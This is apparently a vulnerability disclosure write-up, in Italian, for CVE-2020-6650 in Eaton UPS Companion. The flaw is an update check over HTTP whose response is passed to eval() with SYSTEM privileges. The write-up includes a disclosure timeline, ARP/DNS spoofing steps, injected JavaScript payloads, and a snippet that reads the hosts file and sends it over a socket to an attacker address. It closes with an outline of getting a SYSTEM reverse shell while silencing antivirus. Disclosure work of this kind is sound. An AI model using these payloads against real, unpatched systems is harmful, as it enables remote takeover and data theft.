
Questo repository descrive CVE-2020-6650, una vulnerabilità che ho scoperto nel UPS Companion di Eaton. Tutti gli utenti devono aggiornare immediatamente alla v1.06, altrimenti rischiano l'accesso remoto come amministratore al proprio sistema.
Il software Eaton UPS Companion controlla la presenza di un aggiornamento ogni singola settimana tramite una connessione HTTP non sicura
e fa eval() del contenuto di qualunque cosa si trovi all'URL dell'aggiornamento. Ciò consente a un attaccante di creare una funzione
JavaScript che utilizza le operazioni di basso livello già presenti nel software backend, come l'esecuzione di file,
socket di rete e I/O del filesystem. Tutte queste operazioni avvengono con privilegi NT AUTHORITY\SYSTEM
probabilmente a causa delle autorizzazioni necessarie per un UPS (Gruppo di Continuità) per la gestione del sistema.
Dopo aver atteso un po', si verifica un'iniezione automatica di comandi che concede una shell SYSTEM senza sforzo.
Questo è stato corretto nella versione 1.06 e l'ID CVE assegnato è CVE-2020-6650.
| Bug notato | 2019/10/25 - 21:43 |
| Exploit realizzato | 2019/12/28 - 06:28 |
| Segnalato a Eaton | 2019/12/28 - 10:00 |
| Riconosciuto | 2019/12/30 - 22:05 |
| PoC semplice inviato | 2020/01/04 - 03:32 |
| In fase di patch | 2020/01/21 - 12:54 |
| Corretto | 2020/03/21 - 12:21 |
Grazie a Eaton per aver reso semplice la divulgazione di questo exploit.
Eaton UPS Companion ottiene gli aggiornamenti da http://pqsoftware.eaton.com/upgrade/upgrade_euc.info
Problema 1: Può essere facilmente falsificato tramite arpspoof e dnsspoof di dsniff, poi python -m http.server 80.
Problema 2: La mancanza di HTTPS apre un altro vettore di attacco con lo stesso effetto.
Al 2019/10/25 - 22:08, questo è il contenuto del link:
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
"EUC":
{
"WINDOWS":
{
"version": "1.04.017",
"packageURL": "install/win32/euc/euc_win_1_04_017.exe",
"info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
}
}
}
Non riesco a capire come venga calcolato il checksum SHA1 per il file o cosa venga usato per calcolarlo, ma farlo renderebbe tutto molto più semplice.
Eaton UPS Companion crea un server HTTP locale su http://localhost:4679.
Cliccando su "Version: Eaton UPS Companion v1.05" si apre un log di debug "nascosto" su http://localhost:4679/trace.html.
Può anche essere aperto tramite ".\mc2.exe -start -debug" in cmd.exe
Servire una pagina HTML vuota causa un errore evidente che viene registrato:
2019/10/25-21:32:29.051 | UpdateManager | !!! ERROR: Update data could not be parsed:
{
"message": "syntax error",
"fileName": "scripts/libs/json.js",
"lineNumber": 122,
"stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
"name": "SyntaxError"
}
eval() viene usato qui, il che ci semplifica le cose. Ecco un esempio di manipolazione dell'interfaccia,
dove il contenuto sotto viene inserito in update_euc.info.
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})
Questo può essere trasformato in una funzione vera e propria grazie alle funzioni anonime:
(function() {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()
Credo che ci sia anche accesso a ShutdownManager, il che non è positivo.
Andando su http://localhost:4679/server/data_srv.js?action=init si rivelano maggiori informazioni su come funziona il sistema.
Funzioni JS normali come alert() non esistono e oggetti come document, console e object non esistono nemmeno.
Edizione molto vecchia di ECMAScript o qualcosa del genere? Nemmeno la parola chiave let, solo var.
Questo potrebbe aiutare:
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});
Posso vedere tutte le proprietà degli oggetti "manager", ad esempio UpdateManager, tramite:
(function() {
for (var property in UpdateManager) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
}
})()
Facendo ciò su UpdateManager ho trovato queste funzioni molto interessanti:
selfUpdate IS function () {\n var packagePath = UpdateManager.retrievePackage();\n if (packagePath) {\n ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n }\n}
retrievePackage IS function () {\n var updateLocation = UpdateManager.updateLocation;\n if (!UpdateManager.updateData) {\n UpdateManager.checkForUpgrade();\n }\n if (!UpdateManager.updateData.packageURL) {\n error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n return false;\n }\n var packageURL = UpdateManager.updateData.packageURL;\n var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n File.createPath(UpdateManager.outputPath);\n if (File.status(packagePath)) {\n debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n return packagePath;\n }\n debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n var client = new HTTPClient(updateLocation);\n var response = client.get(packageURL);\n if (response && response.status == 200) {\n debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n try {\n File.put(packagePath, response.data);\n debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n return packagePath;\n } catch (e) {\n error(\"Failed to save update package at '?'\", packagePath);\n }\n } else {\n debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n }\n return false;\n}
Questo riesce a chiarire che possiamo causare problemi:
(function() {
if (System.getAdminRights()) {
UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
}
})()
Ci sono altre chiamate a funzioni utili come File.get("C:\\Windows\\System32\\drivers\\etc\\hosts") che sforna il contenuto del
file hosts in una stringa, ma solo internamente. Dopo aver scavato tra le proprietà dell'oggetto HTTPClient, c'è
un'altra classe di oggetti che permette di creare socket.
Ad esempio, per ricevere il file hosts:
(function() {
var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
var s = new Socket("tcp");
s.connect("192.168.1.???", 44444);
s.send(hosts);
s.close;
}
})()
Alla fine, ho scoperto come funziona System.open(<file>, <args>), che esegue un file. Da qui, è solo questione di caricare
una reverse shell, mettere a tacere qualsiasi soluzione antivirus (poiché abbiamo privilegi SYSTEM) e ottenere una reverse shell.